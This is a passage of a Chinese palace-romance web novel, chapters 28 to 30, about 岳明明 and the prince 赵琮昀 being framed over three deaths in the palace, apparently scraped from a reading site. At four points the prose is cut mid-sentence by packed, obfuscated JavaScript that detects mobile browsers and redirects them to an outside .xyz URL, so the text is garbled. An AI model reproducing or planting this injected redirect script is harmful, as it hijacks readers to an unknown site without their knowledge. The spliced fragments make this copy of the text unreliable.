虽然明知赵琮昀安然无恙到今天,岳明明心头仍是一紧:“所以……有人对他下手了?” “两次,一次落水,一次中毒。都是宫中常用的伎俩了。幸好王爷命大,就这么跌跌撞撞长到五岁……直到三皇子,也就是当今圣上,从边疆历练归来,将这个没人疼的弟弟接过去抚养起来。” “原来皇上真的对他有养育之恩。” 岳明明终于明白了赵琮昀这么多年忍气吞声,对昭明帝百般顺从的真正原因。 孙嬷嬷却委婉道:“对王爷而言,圣上既是父兄也是师长。圣上初心当然是好的。当年他刚满二十,对皇权和亲情的看法,自然与后来是不同的。” 岳明明听出她话中深意,试探道:“后来发生什么事了吗?” “倒也没什么新鲜事,”孙嬷嬷淡淡一笑:“只是曾经最亲近、最敬重的那个人,突然有一天把爱收回去了,开始猜忌、提防、戒备。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593193|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “于是王爷发现,他的一言一行突然变成了''别有用心'',他很困惑,也想过各种办法挽回,可是后来都成了一桩桩遭人指摘的证据。” 岳明明心里隐隐发酸:“那时候他多大?” 孙嬷嬷看着她,顿了顿道:“十五六吧,正是意气风发的好年纪,无论读书、骑射还是琴棋书画,样样拔尖的一个孩子……后来都荒废了。” 岳明明道:“皇上刻意打压他了吗?” “不,是王爷自己,他亲手毁了自己的前途……学堂不去了,书也不读了,动不动就往烟花柳巷里跑,所有人都觉得这孩子走岔了路,谁又明白,他这是用自己的方法,让皇上放心呢?” “这样皇上就放心了吗?”岳明明眉宇间笼上一层怒意。 孙嬷嬷沉默片刻,低声道:“奴婢与娘子说这些,不是为了谁的关系。只因娘子身在宫中,该对前尘过往有些了解,遇事才好做判断。我猜这些话,王爷是肯定不会对你讲的。” 岳明明点点头:“谢谢嬷嬷提醒,我明白!” 她忽然道:“有一件事,我也想向嬷嬷请教……嬷嬷觉得,如今王爷也变成了那样的人吗?” 她眸光微微黯了一下:“他对我也有过许多猜忌、提防、戒备……他这次反抗皇上安排,是因为他也对皇权和亲情有了新的认识吗?” 孙嬷嬷想了一会儿,缓缓道:“奴婢不敢妄加判断,也不会否认如今的王爷跟儿时相比,变了许多……” “可你还是相信他。”岳明明看出孙嬷嬷心意,替她接道。 孙嬷嬷摇头:“奴婢斗胆说句大逆不道的话……在我眼中,王爷就像我的孩子一样,他做得对也好、错也罢,我对他的感情从来没有变过。 “我不是相信他,我是心疼他,爱他……这是不一样的。” 岳明明努力思索两者的区别,却听孙嬷嬷继续道:“奴婢认为这一点,才是堪当王妃的要求。” “岳娘子明白吗?” 岳明明呆了一下,她好像懂了,却隐隐希望自己没听明白。 孙嬷嬷郑重道:“之前娘子问我,王爷有什么愿望,现在可以告诉娘子,他不过希望此生有人可以无条件爱他,永远不会抛弃他。” 就这么简单? 岳明明下意识想吐槽,弯了弯嘴角,却发现满心苦涩,根本说不出半个字。 对于一个从小先后被母亲、父亲、兄长爱过又舍弃掉的人,这样的愿望究竟是简单还是奢望? 孙嬷嬷问:“娘子能做到吗?” “我……”想到半年之后的游戏退出时限,岳明明犹豫了。 “那娘子愿意试试吗?”孙嬷嬷不依不饶。 岳明明依旧沉默不语。 她可以跟赵琮昀做盟友,做朋友,甚至做一些暧昧的事,短暂地谈一场恋爱,都没关系。 她承认对赵琮昀有些越界的想法,不只因为他对自己越来越好,甚至有时候他阴阳怪气发脾气,她也觉得蛮可爱的。 可是为了他放弃现实生活,永远留在游戏世界? 岳明明内心清楚,她做不到,也不想这么做。 无需多言,沉默已是最有力的回答。 孙嬷嬷不无遗憾地长叹一声:“既然如此,娘子还要争那王妃的位子吗?还要给他一线希望,然后再舍弃他一次吗?” 做不到,就不要再伤害。 岳明明面对孙嬷嬷近乎严厉的目光,眸中染上一层薄雾,她轻声道:“对不起……我明天一早就去退出这场擢选。” 28. 第 28 章 翌日,天刚蒙蒙亮,越积越厚的乌云沉沉压在皇宫上空,风中湿意更重。 御书房外早早等候着一道身影。 黯淡天光里,岳明明那身天青色衣裙显得格外单薄,仿佛下一秒就要随风散去,融化在墨色云天间。 赵琮昀跟随传话宫人,步履匆匆往外赶,抬眼看到这幕,心蓦地慌了一下。 再顾不上仪态端庄,他疾走两步来到岳明明身前,看了一眼她冻得通红的鼻尖,抬手便要脱外袍给她。 岳明明拦住他:“我不冷,真的!” 她现在担不起他任何一点好。 赵琮昀看她神色,心头那股慌张感更盛,他手上动作顿了一下,最后仍坚持把外袍裹在她身上。 “出什么事了?” 岳明明努力挤出一点笑容:“嗯……有件事想跟你说。” 赵琮昀静静看着她。 岳明明道:“那个……你也知道……琴棋书画这些我都不行的。今天的比试我肯定赢不了……要不还是算了吧。” “……”赵琮昀一阵沉默。 他想了很久,在心里无数次组织语言,最后平声道:“你是不是害怕了?” 他声音里带了清晨独有的沙哑,听上去莫名透出一种恳求意味:“如果你担心自己的性命,我可以向你保证,无论如何你都不会有事……如果你担心我……” “不是的。”岳明明快速打断他:“我不是害怕,我是不想当这个王妃了!” 她不敢让自己有一秒钟的犹豫,说完之后甚至弯了弯嘴角,像平时逗他那样。 她希望赵琮昀把这当成她的又一次胡闹,这样对他而言,是不是就更容易接受一些? “为什么?” 赵琮昀没有笑,也没有生气,脸上甚至失去了表情:“为什么反悔了?” 岳明明继续笑:“一群女人争来抢去,还要被别人指指点点,忽然觉得很没意思。” “没意思……”赵琮昀喃喃重复着她的话:“那你这么戏弄我,一定觉得很有意思吧?” “对不起。”岳明明脱口道。 这声道歉本是真诚的,可赵琮昀像听到一句笑话,眸光更深也更冷。 “无妨。我都习惯了。” 这句话他连伪装都卸去了,语气中带着深深的疲惫。至于更深的意味,岳明明不敢细想。 她僵硬地站在赵琮昀对面,笑容几乎就要撑不住,鼻子发酸,脸颊上突然感到一丝凉意。 现在不许哭!不能哭! 她伸手抹了一把,心头松下来——幸好不是眼泪。 只是下雪了。 这是游戏世界里的第一场初雪,跟她的出现一样,如此不合时宜。 岳明明忽然觉得更难过了。 人家都在初雪表白,自己偏偏是来分手的。 她也替赵琮昀难过,说好了一起走完这条艰难的路,结果她临阵逃脱,偌大皇宫就只剩他一人了。 来之前岳明明做好了被骂得狗血淋头的准备,可是赵琮昀没有骂她,没有大发脾气,只有无边无际的沉默,和这皇宫一样窒息。 “那……没什么事我先走了?”岳明明一刻也待不下去了。 “你想好了?”赵琮昀突然叫住她。 “什么?”岳明明愣住。 “你知道我不会求你的。你不会再有第二次机会了……所以你真的想好了?” “嗯。”岳明明用尽全身力气,说出一个字。 赵琮昀没有再看她,转身往御书房走去。他没有收回外袍,只穿一件月白色单衣,脊背挺拔,疾步如飞,眨眼便隐去在大殿之后。 岳明明舍不得收回目光,对着空无一人的长廊怔了许久,才注意到地面覆盖的那层白霜上,落了一串殷红的血迹。 他手上的伤口,果然没有好好上药。 而自己又一次忘了叮嘱他。 * 岳明明游魂一般回到毓华宫。 她整夜未睡,又吹了半天冷风,此刻觉得头重脚轻,挣扎着爬回床上,准备睡个回笼觉。 好歹在梦里,她不用反反复复回想赵琮昀孑然远去的孤独背影。 不知睡了多久,门哐当一声巨响。 岳明明迷迷糊糊睁开眼,就见一队宫人气势汹汹闯进来,身后居然跟着手持刀剑的麒麟卫。 “你可是岳琬?”为首宫人喝道。 “……是我。”岳明明看出情形不对,慌忙起身:“你们是谁?有事吗?” “奉皇后娘娘懿旨,捉拿毒妇岳氏!”宫人冷笑一声,立刻有两名麒麟卫上前,将岳明明按在床上。 岳明明脑子嗡了一声,不明白一觉醒来,自己怎么就成“毒妇”了,但她深知这不是王府,她面对的不是刀子嘴豆腐心的赵琮昀,而是森冷皇权和想要置他于死地的真正敌人。 “我犯了什么罪?王爷知道你们抓我吗?”岳明明喊道。 “待会儿就知道了!皇后娘娘吩咐过,殿前会给你解释的机会!走吧!” 更多宫人横冲直撞进来,将她团团围住,好像怕她跑了似的,看向她的眼里居然还带着一抹畏惧。 岳明明身上使不出半分力气,几乎被人拖着踉跄前行。 侍卫佩刀撞上桌案,打翻了昨夜孙嬷嬷送来的几碟点心,没人在意这个细节,点心很快被乱糟糟的脚步踩碎一地,与鞋底雪渍混作一团污泥。 岳明明眼泪忽然就落下来。 那曾是属于昨夜的一片真心,风尘仆仆赶来交给她,却被她辜负了。 一个宫人见状骂道:“哭哭啼啼……一大清早真是晦气!” 岳明明不管,哭声越来越大,一直被带到坤宁宫也没有止住。 坤宁宫内,李皇后居中而坐,正气定神闲地等着她,底下跪了一地的宫人和太医。 李皇后见到哭成泪人的岳明明,冷冷笑道:“终于知道害怕了?” 岳明明心想,你懂个毛线! 可她转念又想,没人懂她为什么而哭也很好,她可以打着害怕的幌子,肆无忌惮放任自己的愧疚和难过。 谁都不知道。连赵琮昀也不知道。 “岳氏,你可知罪?”李皇后问。 岳明明抽泣着摇摇头。 李皇后道:“不要以为装出一副楚楚可怜的样子,哀家就会心软。这回,皇叔都保不住你!” 岳明明心狠狠地被扎了一下,赵琮昀大概不会再关心她的死活了。 “让你们去请陛下和皇叔,人怎么还没到?”李皇后问宫人。 宫人正待回话,殿外大步流星迈进来一行人,为首正是昭明帝。 见到满屋子升堂问讯的架势,昭明帝脸色很不好看,责备道:“何事如此兴师动众?你这里是坤宁宫,不是刑部衙门,该注意些规矩!” 李皇后跪倒:“陛下恕罪!臣妾实在吓坏了,无力做主,这才不得已叨扰圣驾!” 昭明帝瞥了一眼狼狈不堪的岳明明,蹙眉道:“究竟何事?” “启禀陛下,昨夜……昨夜毓华宫内留宿的几名女眷……除岳氏以外,全部暴毙了!” “什么!!” 昭明帝大惊,登时变了脸色,连岳明明都止住哭声,震惊地看着李皇后。 “今早发现的……”李皇后颤抖道:“宫人叫了几遍发现叫不醒,一摸人都凉透了……她们是官眷,死在宫中,兹事体大,臣妾不敢擅作主张,第一时间通知了陛下。” 昭明帝胸口一阵起伏,突然抄起案上香炉砸在地上:“荒唐……宫中竟出现如此滔天凶案!真是反了!来人,宣刑部尚书张挺进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14611971|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫!” 众人跪在地上不敢吭声,昭明帝目光落在几名太医身上:“萧太医,你可有看过尸体?” 萧太医扑倒道:“禀陛下,死者周身上下并无伤口,也无中毒迹象,面容平静,与睡着无异。恕臣无能,实在看不出因何而死……只能归咎于突发心疾……” 昭明帝怒道:“三个人同时突发心疾?你让朕拿这套说辞去跟她们家人解释?朕看你不光是个庸医,连脑袋也不想要了!” 萧太医叩首直呼“臣该死”,岳明明却突然想起一件事—— 身上没伤口,测不出中毒迹象,面容平静,心跳停止……这不是她刚进入游戏时,那名轿夫的死状吗! 可当时凶手是她父亲,如今岳兆封已死,难道还有人懂这偏门的杀人手法? 还是说……岳兆封背后,有人指使? 岳明明此刻不敢贸然开口,想来想去只能将此事先告知赵琮昀,可是他人呢? 这时,李皇后突然抬头看向她,岳明明顿时生出一种不祥的预感。 李皇后道:“陛下……此事恐怕……要牵连岳娘子了。” 昭明帝正在气头上,没好气道:“你有话直说!不要吞吞吐吐!” 李皇后:“毓华宫住着四人,如今三人惨死,唯岳娘子一人平安无事,着实可疑……另外听宫人说,昨夜岳娘子回房后嘴里一直念念有词……不免惹人遐想。” 岳明明心里叹息,果然好大一盆脏水!这位皇后娘娘是真的打算玩死她! 昭明帝道:“你怀疑她是凶手?” 他冷哼一声:“如果她这么做,会不会过于明显了?况且她一个弱女子,如何对三人下手?你这番揣测连朕都说服不了,待会儿嘉王来了,朕倒要看看你如何对他讲!” “臣妾觉得,岳娘子为了王妃之争,一时糊涂,倒也并非说不过去。” 李皇后刻意停顿了一下,才缓缓道:“她虽是女子,却也不是不能杀人……陛下可还记得……巫蛊之法?” 此话一出,满座皆惊。 昭明帝幽幽盯住她:“皇后慎言!” 李皇后俯身恳切道:“这几人死得蹊跷……臣妾实在害怕……当年祸事再现皇宫啊!” 昭明帝垂眸不语,周身气场压得人喘不过气,他环顾四周,最后沉声道:“嘉王呢?你们抓了他府中妾室,都没有通知他吗?” 一名宫人小心翼翼道:“奴婢们找遍了御书房,也没见着王爷!有人看到……他一大清早往西花园去了。” 昭明帝拍桌子道:“废物!那就去西花园找!这也要朕来吩咐吗?!” “可……可那边是永商宫……” 岳明明对皇宫不熟,可她从昭明帝的反应中看出,“永商宫”似乎也是个禁忌。 “去找!”昭明帝沉默半晌,重重吐出两个字。 宫人领命,屋内顿时只剩令人窒息的寂静。岳明明脑中飞速思考着这一连串事件,只觉她掉入了一个巨大的陷阱中,对面除了李皇后,也许还有更多人参与。 她现在只能暗暗祈祷,这陷阱只是为她而设,不会牵扯赵琮昀。 可是……真的会这么简单吗? 她一个没身份没背景的妾室,值得李皇后如此大动干戈? 不对!对方真正的目标,一定是赵琮昀! 虽说赵琮昀从来走一步算三步,这次他还会有准备吗?还能算无遗策吗? 岳明明焦急起来,真切体会到了什么叫关心则乱。这时外面忽然传来通传,一个小宫人跑进来,递上一份加密折子。 “樊公有急奏!” 昭明帝微微一怔,接过折子,看到最后竟冷笑起来,接下来的话令岳明明不寒而栗。 她听到昭明帝吩咐:“麒麟卫听命,即刻前往永商宫,捉拿嘉王!” 29. 第 29 章 麒麟卫终于带赵琮昀回来复命。 岳明明心惊胆战看向他,赵琮昀穿的还是早上那件月白长衫,只在外面罩了件单薄的黑色披风。 雪下得并不大,他不知在外面待了多久,肩头居然落了一层沉沉的积雪,本就清冷的眉眼,更似被风霜染透,一副拒人千里之外的漠然。 岳明明还在犹豫如何提醒他小心,结果赵琮昀看都没看她一眼,径直从她身边越过,垂首立于昭明帝面前。 苍白无血的脸色,让昭明帝怒火顿时减了三分。 昭明帝忍不住道:“怎么把自己搞成这个模样?” 赵琮昀不答,反问道:“陛下突然召见,可有什么事?” 声音暗哑如一把钝刀,割在岳明明心口,没出血,只隐隐地疼。 昭明帝捏紧手中奏折,蹙眉沉默片刻道:“是皇后有事。” 他看向李皇后,李皇后微微一怔,眼神不着痕迹地扫过奏折,她迅速掩饰掉一刹那的失态,将来龙去脉又复述一遍,并“着重”强调了岳明明的嫌疑。 “此事不知皇叔怎么看?”李皇后问。 赵琮昀好像并不惊讶,甚至有种置身事外的平静,他淡淡道:“臣相信不是她。她没有这样的能耐。” 李皇后长叹一声,缓缓道:“哀家理解皇叔护着她,可单凭你一句话并不能洗脱她的嫌疑,更无法服众,还望皇叔理解。” 她与昭明帝对视一眼:“陛下打算将此案交给刑部审理……在此期间,恐怕岳娘子不能回府了。” “皇后娘娘的意思,是要把她交给刑部?”赵琮昀问。 李皇后道:“这并非哀家的意思,乃是我朝律法规定,她作为疑犯配合调查,难道不对吗?” 赵琮昀轻轻笑了一下:“敢问娘娘,我朝律法何时规定,无凭无据,只因她是唯一幸存之人,就要被当成疑犯论处?” 他语气仍是淡淡的,言辞却愈发锋利:“我朝律法又何时规定,随便什么人说一句''巫蛊之术'',就要捕风捉影,以至血流成河?” 李皇后神色一变:“皇叔此言何意?” 赵琮昀蓦然抬头,李皇后心脏突地一跳——那是不顾一切、鱼死网破的眼神! 下一刻,他的声音依旧没有起伏:“皇后娘娘提到律法,臣便与娘娘讨论律法……仅此而已。” 李皇后顿了顿,换作委屈口吻哀劝道:“皇叔可以当哀家的话是耳旁风,但总要顾及皇室颜面和死者家人……那都是你的同袍,更是朝廷肱骨之臣……若仅仅因为你是皇亲国戚,便拒不配合调查,那岂不是授人话柄,说陛下和皇叔徇私枉法?” 赵琮昀不为所动:“只要皇后娘娘拿出证据,臣二话不说,亲自把人送去刑部,您看如何?” “皇叔这是在逼哀家了……” 赵琮昀似乎耐心耗尽,直接道:“人死在宫中,皇室颜面、安抚朝臣……这些自有皇后娘娘操心,不关臣的事。” “……”李皇后被这句话彻底噎住,岳明明顿时替赵琮昀捏了一把冷汗。 不出所料,一直沉默不语的昭明帝闻言大怒:“混账!这是你该说出来的话吗?从前不好好读书,这些年更是花天酒地,是朕太纵容你,才教得你如此是非不分!” “你给朕跪下!” 赵琮昀没有一句辩驳,默默跪倒,脊背撑得笔直。 直到此刻,他身上的雪依旧没有融化,冷冷压在肩头。岳明明禁不住想,他身上该多冷,连雪都融不掉。 昭明帝似乎对他一语不发的态度更为不满,寒声道:“朕问你,如果朕今天非要送她去刑部,你要如何?” “难道你还想抗旨吗?!” “臣不敢。”赵琮昀道:“但臣也斗胆想问陛下一句,您真的相信她是凶手吗?” 昭明帝不语。 岳明明此刻终于明白,昭明帝根本不在乎她是不是凶手,他在乎的是赵琮昀的态度。 接到那封奏折后,昭明帝的态度似乎变了—— 昨日赵琮昀拒绝选妃、处处维护她,昭明帝虽恼怒,却更像一位恨铁不成钢的兄长,而现在,他是君王,处处流露着不容置疑的天子威严。 那封奏折里,究竟写了什么? 两人沉默对峙着,岳明明越想越觉危险,她郑重叩首道:“陛下、皇后娘娘,臣女愿意去刑部配合调查!” 谁料赵琮昀背对着她,冷冷出言道:“不准去!” ………… 赵琮昀,你是疯了吗? 岳明明在心里急得大骂:给你个台阶下,你怎么非要上天呢! 昭明帝怒极反笑:“在朕面前……你说你不准?你还知道自己是什么身份吗?” 啪……他将奏折狠狠摔在赵琮昀头上,打掉了赵琮昀束发的紫金冠,吓得岳明明猛地一哆嗦。 昭明帝喝道:“睁开你的眼睛仔细看看,这些可属实?” 赵琮昀捡起奏折看了一会儿,垂眸缓缓道:“私查漕运、联络赈灾属实……豢养亲信、结党营私、插手朝政不实。” “你倒会挑!”昭明帝道:“你若没有结党,如何联络赈灾?漕运之事就是朝政,你私下查办,又如何不算插手?” 赵琮昀道:“陛下若是这么想,臣无话可说。” “……反了!你还真是反了!” 昭明帝暴怒起身,抬脚踹向赵琮昀,赵琮昀一动不动。 可岳明明看不过去。 她全然忘了宫里规矩,只想着这一脚下去人要受伤的,于是扑过来把赵琮昀用力往后拽,结果两股力量加在一起,赵琮昀身形踉跄,禁不住朝后倒去。 岳明明几乎用尽全身力气撑住他,才没让他跌在地上。 她一点都不想看到他狼狈的模样。 赵琮昀似乎也是一惊,他没想到岳明明会出手护住他。他忍不住抬眼,自清晨分别后,再次看到她。 少女满脸泪痕,眼睛红得像只受了委屈的兔子。可赵琮昀已无法确信,此刻她眼里的关切和疼惜是不是真的……从她拒绝自己之后,他不敢再心存幻想。 他的明月,原来只是水中月。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642482|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵琮昀咬紧牙关,从背后柔软怀抱中挣脱起身,拨去岳明明握紧的手,轻轻说了声:“让开。” 他语气那么冷,将岳明明一腔勇气瞬间冻结。她只能呆望着他拂衣起身,再次跪成一道执拗的影子。 昭明帝冷眼看着赵琮昀:“你也不用再替她求情,你们不妨一起去监牢里,做一对苦命鸳鸯。” “我不会让她去刑部。”赵琮昀道。 他从怀中掏出一卷明黄色物什,高举过头:“臣以此卷先皇遗旨,恳请陛下准许臣的请求。” 昭明帝怔住,眼神复杂地看着赵琮昀手中遗旨:“你居然敢……” 他没有再说下去。岳明明惊悚地发觉,昭明帝眼中某一瞬间有杀意浮动。 殿中一片死寂。 许久,就听昭明帝又问:“你可想好了?只为这么一点小事,就祭出先皇遗旨?别忘了……你此刻也是自身难保!” “臣的事,但凭陛下发落。” “好……好!”昭明帝冷笑着抽出遗旨,攥得指尖泛白,高声吩咐道:“传朕旨意,岳氏免去刑部问讯羁押,回府等候调查结果。” “至于你……”昭明帝眼中再无兄长的怜悯之情,冷酷道:“既然你想回去,朕满足你……嘉王即日起禁足永商宫,不得出入,不准探视,麒麟卫亲自监管!” 赵琮昀俯首:“臣领旨……谢恩。” 关押亲王,本朝从无前例……满屋宫人和麒麟卫都呆住。 只有李皇后暗暗长出一口气:一切居然比她预想的还要顺利! 她漫不经心地瞥了眼岳明明,正撞上岳明明茫然无措的目光,她唇角终于不露声色地弯了弯。 她赢了。 正如岳明明猜测的那样,她的目标从始至终,只是赵琮昀而已。 麒麟卫上前,赵琮昀起身整了整衣衫,没有再看任何人,径直走出坤宁宫,岳明明在他经过的时候,试图说点什么,她虚握的手指从他衣角穿过,却什么都没抓住,也什么都说不出口。 岳明明不知道自己是怎么离开的。 她浑浑噩噩被塞进一辆马车,宫人们匆忙间连车帘都没有掩好,风雪不停灌进来,岳明明视若无睹。 雪花越来越大,渐有铺天盖地之势,她一直愣愣看着外面,直到白茫茫天地间,忽然有了一处焦点。 那道黑色身影,默不作声地立在回廊尽头。距离太远,岳明明看不真切那张脸上的表情,但她可以肯定,他在看着她。 岳明明哽咽着扑到车窗前,想喊赵琮昀名字,却猛地灌了口风雪,她一边咳嗽,一边用尽全力挥手,生怕赵琮昀转身就此离开。 幸好他没有。 他就站在那里,直到马车转弯。 赵琮昀想,这场相遇,他奉陪到了最后,没有遗憾了。 遗憾全部留给了岳明明——再看不见那道身影的一刻,岳明明才知道这个人有多重要。 他既不是Boss,也不是npc。他是她在这个游戏世界里的原点坐标,是她的新手村,也是她的桃花源。 30. 第 30 章 房间内一片昏暗,炭火烧得很足。 岳明明早就醒了,她不动也不说话,静静躺在床上,看火光忽明忽灭。 是东叔把她接回府中的。 她当时只剩下哭的力气,东叔什么都没说,给她灌下一大碗姜汤,又多添了几盆炭火,像个真正的长辈那样,陪了她很久才离开。 岳明明很想跟东叔道个歉,她没跟赵琮昀一起回来,她把他家王爷独自留在了下着大雪的皇宫。 她试过联系系统,可这该死的游戏AI似乎进入了长久待机状态,只留下一道扎眼的任务栏,好死不死地还在提醒她要“当王妃”。 现在看来,那几个字就像一根刺,扎得岳明明心里密密麻麻地疼。 她懊悔地想,如果她没有怂恿苏定柔和离,如果她没有支持赵琮昀对抗皇权,如果她没有告诉他自己想当王妃……说不定他们此刻正对着红泥小火炉,围炉赏雪、喝酒聊天。 做个帅气的皇室吉祥物有什么不好?她一个只在游戏世界存在半年的闯入者,凭什么来指点他的生活? 更可恶的是,她像个渣男一样,招惹之后又没办法负责,还在他最艰难的时刻背刺他一刀。 眼泪又一次打湿枕头,岳明明深吸一口气,攒足力气打算坐起来,可刚起身就发现头重脚轻,结果整个人倒栽下床去。 炭火打翻,门立刻被人推开,东叔踢走火盆,将岳明明扶回床上,又翻出一瓶烫伤药膏,催着她厚厚涂了一层。 “娘子千万得保重啊!”东叔劝道。 岳明明不知道他是出于好心,还是得了赵琮昀的吩咐,数度想开口,最后又默默咽回去。 东叔瞧她丢了魂儿似的模样,叹息一声:“我知道娘子关心什么……可惜我如今也收不到宫里消息,不知他那边怎样了。” “连您都打探不出来吗?”岳明明急道。 东叔摇头:“自娘子回府之后,王府就被封禁了,府外有麒麟卫把守,那些人知道我的功夫,特意找来几个江湖人,专门防备我……这个节骨眼我不敢硬闯,更不敢动用暗卫,怕再给王爷落下什么罪证。” 岳明明扯住他衣袖:“东叔,您跟我说实话,这次的事有多危险?皇上会怎么发落他?禁足、下狱、流放,还是……” 岳明明不敢再说下去。 东叔愁眉紧锁:“圣心难测。娘子恕罪,我是真的不知道。” 他顿了顿,试图宽慰她:“……还不到最后就不算死局,我们别放弃,我相信王爷也不会。” 岳明明无法从心底里信服东叔的话,东叔没看到当时的赵琮昀,那绝不是一个心存希望之人的表情。 她喃喃道:“都怪我……他根本不该救我,应该把那道遗旨用在自己身上的。” 东叔截住她话头:“娘子还看不出来吗?那道遗旨只要用了,不管用在谁身上,都一样会惹恼皇上。 “那乃是先帝临终前,念及与贵妃旧情,留给贵妃保命用的,后来贵妃仙逝,将它给了王爷。 “其实所有人都明白,这遗旨是一道保命符,只要有它在,皇上再忌惮,也不会要了亲弟弟的命。可大家也都默认,王爷决不能用它……一旦用了,就等于在用先帝遗威去打当今圣上的脸!一山不容二虎,哪怕亲父子也一样!” “那他还……”岳明明气极:“他疯了吗?居然自己找死?他……他不会是为了我吧?!” 她在心里大骂:赵琮昀,你可千万别说是为了我!我不需要,也还不起你这个人情! 东叔道:“实不相瞒娘子,我也问过王爷同样的问题,甚至劝阻过他,但他没有回答。” 岳明明心虚地问:“……您觉得呢?” “将来若有机会,娘子不妨当面去问他。” “一定有机会的!”岳明明似在回应东叔,也似在安慰自己。 东叔难得笑了一下:“我就知道娘子还是在意他的……不过王爷有一份嘱托,我还是要把话带到。” 他取过早准备好的一个包袱,摊开来给岳明明看:里面是一封书信,许多银票,以及几张房契和田契。 岳明明隐约猜出了赵琮昀的意思。 她很难形容此刻的心情,尤其那封信上,赵琮昀用端方笔迹写着“李嗣亲启”四个字,极其烫眼。 东叔道:“他入宫前特意叮嘱我,如果他……回不来,让我把这些交给你……他还说……休书你已经有了。” “他倒是大方。”岳明明扯了扯嘴角,声音颤抖。 下一秒,她突然伸出红肿的手,将书信抽出来,直接扔进炭火盆。 “其他的我留着。”她麻利地把银票等包好,塞到枕头下面,故作轻松道:“我这么穷,又没有嫁妆,王爷的便宜不占白不占!您说是吧?” 东叔眼眶微微泛红:“卑职替王爷……感谢娘子不离不弃!” “东叔我饿了,有没有吃的?” 岳明明被赵琮昀这套“贴心”操作搞得很生气,突然有了些精神,决定先把肚子填饱,再琢磨救人办法。 那封信给了她一点思路——朝堂之中,也许有人愿意帮他。 东叔忙道:“我这就去给娘子准备。” “杏儿呢?这些小事让她去就好!” 东叔神色一黯:“娘子有所不知,府里现在……多数下人都被带走关起来了,只有侧王妃院子里的人幸免。” “凭什么?她们又没有犯错!”岳明明怒道。 东叔道:“听说是李皇后提议,皇上批准的……如今王爷获罪,她们便成了罪奴。我还能留在府中,也是因为早年救驾有功,皇上对我留了情面。” 岳明明冷笑道:“所以现在只有李凭如没事?她人呢……要不咱们联手再打她一顿!我实在气不过!” 东叔无奈地笑笑:“娘子不要说孩子话了!侧王妃自进宫后就没有再回府,想来是知道王爷出事,刻意避嫌了。” “算她命大!她不在也好,我们更自在些,也不用担心她的耳目了。” 东叔点头:“待会儿只好委屈娘子,试试我的手艺了。” 岳明明突然记起,赵琮昀吐槽过东叔做菜难以下咽,不免有些惶恐,东叔显然看穿了她心中所想,笑道:“娘子莫怕,是王爷嘴太刁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672895|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……没那么难吃的。” 岳明明也笑,她差点忘了,赵琮昀还真是全方位的挑剔,吃穿用度样样讲究,大概只有小厨房和邀约楼的菜,才入得了他的眼,连苏定柔亲自做的川菜,他都没怎么动筷。 现在想来,一切恍如昨日。不知他在孤冷的永商宫里,还吃不吃得惯…… 岳明明裹了件厚外袍,随东叔脚步来到园中,雪已经停了,新月弯弯,星斗璀璨,夜空有种安静的晴朗。 小厨房腾起烟火气,岳明明沉甸甸的心情有所好转,她百无聊赖,索性迈步往赵琮昀的书房走去。 书房居然也被东叔烧得暖意融融。 赵琮昀的桌案向来整洁,只端正摆放着一本半开的书和一张画卷,旁边香炉升烟,气味熟悉。每一样物品都规矩而有序,随时等候着主人推门而入。 岳明明绕到桌案后,小心翼翼坐在椅子上,想象着平日里赵琮昀专注从容的执笔模样,轻轻翻过那本书。 然后她就看到了那幅夜溪图。 上次见到时,它尚未完成,画面中央留了大片空白,而现在那座清寂的山峰背后,悬着一轮巨大的圆月。 落款处题了一行小字:“八月十六,夜凉如水,月满长街,与明明初相见。唤起一天明月,照我满怀冰雪,至此心有归处。” 岳明明咬着牙才没让眼泪又落下来,生怕打湿了画卷。她很想把这幅画带走,却又觉得唐突了他的笔墨。 最后她将书摆回原位,重新盖住画卷,再默默离开。 赵琮昀不会发现她来过,不会知道她看见了那幅画。他不想拆穿的秘密,她就继续替他守着。 只是再见面时,她想告诉他一个古人不知道的常识,无论阴晴圆缺,无论晨昏雨雪,月亮一直在。 * 